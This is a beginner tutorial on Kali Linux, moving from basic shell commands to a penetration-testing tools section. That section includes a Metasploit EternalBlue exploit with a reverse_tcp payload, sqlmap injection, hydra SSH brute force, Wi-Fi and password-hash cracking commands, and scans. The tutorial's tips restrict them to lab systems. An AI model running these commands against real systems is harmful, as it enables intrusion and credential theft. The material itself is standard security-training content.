Kali Linux Commands: Explanations and Examples

---

1. Basic Navigation Commands

- `pwd` — Print Working Directory
  Explanation: Displays the current directory you are in. **Example**:

  ```
  pwd
  /home/kali
  ```

- `ls` — List directory contents
  Explanation: Lists all files and folders in the current directory. **Example**:

  ```
  ls
  Desktop  Documents  Downloads
  ```

- `cd` — Change directory
  Explanation: Used to navigate between directories. **Example**:

  ```
  cd /etc
  ```

- `clear` — Clear the terminal screen

- `mkdir` — Make directory
  Explanation: Creates a new folder. **Example**:

  ```
  mkdir testfolder
  ```

- `rmdir` — Remove directory (empty only)

- `rm -r` — Remove directory and its contents
  Example:

  ```
  rm -r testfolder
  ```

---

2. File Management

- `touch` — Create a new file

  ```
  touch file.txt
  ```

- `cat` — Display contents of a file

  ```
  cat file.txt
  ```

- nano / `vim` — Terminal-based text editors

  ```
  nano file.txt
  ```

- `cp` — Copy files or directories

```
cp file.txt /home/kali/Desktop/
```

- `mv` — Move or rename a file

```
mv file.txt file_backup.txt
```

- `rm` — Delete a file

```
rm file.txt
```

---

3. User and Permissions

- `whoami` — Shows current logged-in user

```
whoami
kali
```

- `sudo` — Run command as root/superuser

```
sudo apt update
```

- `chmod` — Change file permissions

```
chmod 755 file.sh
```

- `chown` — Change file ownership

```
sudo chown user:user file.sh
```

---

4. Network Commands

- `ifconfig` — Show IP and network interfaces

```
ifconfig
```

- `ip a` — Alternative to ifconfig
- `ping` — Check connectivity to a host

```
ping google.com
```

- `netstat` — Show active connections and ports

```
netstat -tulnp
```

- `nmap` — Port scanner tool

```
nmap -sS 192.168.1.1
```

---

5. Process Management

- `ps` — Display running processes

  ```
  ps aux
  ```

- `top` / `htop` — Real-time system process monitor

  ```
  htop
  ```

- `kill` — Terminate process by PID

  ```
  kill 1234
  ```

- `killall` — Kill processes by name

  ```
  killall firefox
  ```

---

6. System Update and Package Management

- `apt update` — Update package index
- `apt upgrade` — Upgrade installed packages
- `apt install <package>` — Install new package
- `apt remove <package>` — Remove installed package
- `apt list` — List packages

Example:

```
sudo apt install nmap
```

---

7. Useful Hacking Tools (Kali Specific)

1. `msfconsole` — Metasploit Framework

Explanation: A powerful penetration testing tool for discovering, exploiting, and validating vulnerabilities. **Example Usage**:

```
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.5
set PAYLOAD windows/meterpreter/reverse_tcp
run
```

Tutorial Tip: Practice on vulnerable VMs like Metasploitable2.

2. `burpsuite` — Web Application Security Testing

Explanation: Intercepts and manipulates web traffic between client and server. **Usage**:

```
burpsuite
```

Tutorial Tip: Use with browser proxy set to 127.0.0.1:8080. Try it on DVWA.

3. sqlmap — SQL Injection Tool

Explanation: Automates detection and exploitation of SQL injection flaws. **Example**:

```
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dbs
```

Tutorial Tip: Run on test environments only. Use DVWA or bWAPP.

4. hydra — Brute Force Password Cracker

Explanation: Fast login cracker supporting many protocols (SSH, FTP, HTTP). **Example**:

```
hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.1.10 ssh
```

Tutorial Tip: Always use with authorized systems. Try on your own SSH lab.

5. airmon-ng / aircrack-ng — Wireless Attacks

Explanation: Used for packet capturing and cracking Wi-Fi passwords. **Example Workflow**:

```
airmon-ng start wlan0
airodump-ng wlan0mon
aircrack-ng -w rockyou.txt capture.cap
```

Tutorial Tip: Use with Wi-Fi adapters supporting monitor mode. Try on test routers.

6. wireshark — Packet Analyzer

Explanation: Captures and analyzes network traffic in real time. **Usage**:

```
wireshark
```

Tutorial Tip: Filter traffic by IP or protocol (e.g., http, dns). Look for password leaks.

7. john — John the Ripper (Password Cracker)

Explanation: Cracks password hashes using brute-force and dictionary attacks. **Example**:

```
john --wordlist=/usr/share/wordlists/rockyou.txt passwd_hash.txt
```

Tutorial Tip: Use with /etc/shadow hashes from test systems.

8. nikto — Web Server Scanner

Explanation: Scans for outdated software, vulnerabilities, and configuration issues on web servers. **Example**:

```
nikto -h http://192.168.1.105
```

Tutorial Tip: Run on test Apache/Nginx servers. Combines well with Burp.